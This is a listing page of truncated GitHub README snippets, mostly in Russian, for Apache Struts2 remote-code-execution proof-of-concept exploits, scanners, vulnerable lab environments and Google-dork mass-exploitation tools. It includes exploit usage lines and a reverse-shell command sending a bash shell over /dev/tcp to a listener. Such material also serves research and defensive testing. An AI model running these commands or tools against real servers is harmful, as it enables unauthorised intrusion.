CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c в twitter Рабочий тест и PoC на Python для CVE-2018-11776, изначально опубликовано на; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC Что происходит? Man Yue Mo из Semmle раскрыл уязвимость RCE в Struts2, которая доставляется...

Struts2-045-Exp

Struts2-045-Exp Struts2-045 эксплойт-скрипт Только для тестирования usage:python3 struts2-045-exp.py url cmd...

strutser

strutser Эта программа проверяет наличие CVE-2017-5638. Использование Usage of ./strutser: Usage of ./strutser: -c, --concurrency int Concurrent HTTP requests. default 10 -f, --file string File containing targets -p, --ports intSlice Ports to check. default 80 -t, --timeout int Timeout on HTTP...

CVE-2018-11776

CVE-2018-11776 23 августа 2018 года Apache Struts2 опубликовал новое уведомление о безопасности: в Apache Struts2 обнаружена критическая уязвимость удалённого выполнения кода. Об уязвимости сообщил исследователь безопасности из Semmle Security Research team; уязвимости присвоен идентификатор...

google_explorer

Добро пожаловать в Google Explorer Особая благодарность ArchStrike и BlackArch за поддержку ; + Google Mass Explorer PYTHON 3.6 Это автоматизированный робот для поисковой системы Google и мощный инструмент эксплуатации. Выполняет поиск в Google и запускает определенный --plugin на полученных...

CVE-2020-17531

CVE-2020-17530 Apache Struts2 — это веб-фреймворк для разработки веб-приложений на Java EE. 8 декабря 2020 года Apache Struts раскрыл уязвимость удаленного выполнения кода S2-061 CVE-2020-17530. При использовании некоторых тегов и в других случаях может существовать уязвимость внедрения...

PoC-CVE-2017-5638

PoC: Apache Struts2 CVE-2017-5638 Безопасная образовательная демонстрация 📌 Обзор Этот проект представляет собой Proof-of-Concept PoC для CVE-2017-5638 , известной уязвимости Apache Struts2, которая позволяла злоумышленникам выполнять произвольный код на затронутых серверах. ⚠️ Этот репозиторий...

CVE-2016-4438

ref: https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037PoC.py https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037CmdToolExP.py...

S2-Reaper

S2-Reaper Этот проект используется для сбора уязвимых URL-адресов, затронутых Struts2 S2-045, из результатов поиска Google. Использование python reaper.py О проекте reaper.py запускает поисковый краулер Google с ключевыми словами, определёнными в crawler.conf, для поиска уязвимых URL. crawler.con...

CVE-2018-11776

CVE-2018-11776 Среда для CVE-2018-11776 / S2-057 Демонстрация Запуск сервера $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Эксплуатация $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

CVE-2021-31805

CVE-2021-31805 1. Введение POC и EXP для уязвимости удалённого выполнения команд в Struts2 CVE-2020-17530 и CVE-2021-31805 2. Использование Описание параметров -u 目标url -m dnslog|exp //默认有回显界面字符检查 -n s2-062 //默认s2-061 -s windows //默认linux -p 漏洞参数 Проверка с выводом результата Struts2RCE -u...

st2-046-poc

Struts2 Content-Disposition filename null-byte вариант CVE-2017-5638 Бюллетень безопасности Struts2 S2-046 Нулевой байт \x00 в поле filename заголовка Content-Disposition запроса может вызвать исключение InvalidFileNameException, содержащее ту же самую контролируемую клиентом строку имени файла в...

dismap

🌀 Dismap - Asset discovery and identification tool 中文 Readme Dismap positioning is an asset discovery and identification tool. It can quickly identify protocols and fingerprint information such as web/tcp/udp, locate asset types, and is suitable for internal and external networks. It assists red...

exphub

Уведомление В конце концов, я посчитал неудобным держать каждую уязвимость и каждый отдельный скрипт, поэтому объединил все poc и exp скрипты в один, который может выполнять односканирование + эксплуатацию уязвимостей. Так как в последнее время я занимаюсь интеграцией, exphub долгое время не...

CVE-2020-17530-strust2-061

이 저장소에는 README가 없습니다...

S2-045

S2-045 Среда уязвимости Struts2 S2-045...

Computer-Security-Equifax-2017

Образовательный репозиторий, демонстрирующий реальные уязвимости программного обеспечения: RCE-уязвимость Apache Struts2 CVE-2017-5638, экфильтрация данных, слабое шифрование и стратегии защиты санитизация, мониторинг, лучшие практики криптографии. Демонстрация недостатков безопасности ОС в форма...

Struts2-048

Struts2-048 CVE-2017-9791 Автор: DragonEgg def Usage: print 'check:' print ' python file.py http://1.1.1.1/struts2-showcase/integration/saveGangster.action' print 'poc:' print ' python file.py http://1.1.1.1/struts2-showcase/integration/saveGangster.action command' Демо...

apache-struts2-CVE-2017-5638

apache-struts2-CVE-2017-5638 데모 애플리케이션 및 익스플로잇 샘플 Apache Struts2 애플리케이션 Struts2-showcase: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.12 익스플로잇 참조: https://github.com/rapid7/metasploit-framework/issues/8064...

-CVE-2017-9805-

Информация об уязвимости Ресурсы: https://vulners.com/cve/CVE-2017-9805 Что это? Скрипт эксплойта на Python, способный выполнять удаленные команды в оболочке системы, где работает Struts2, уязвимый к S2-052. Использование python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo...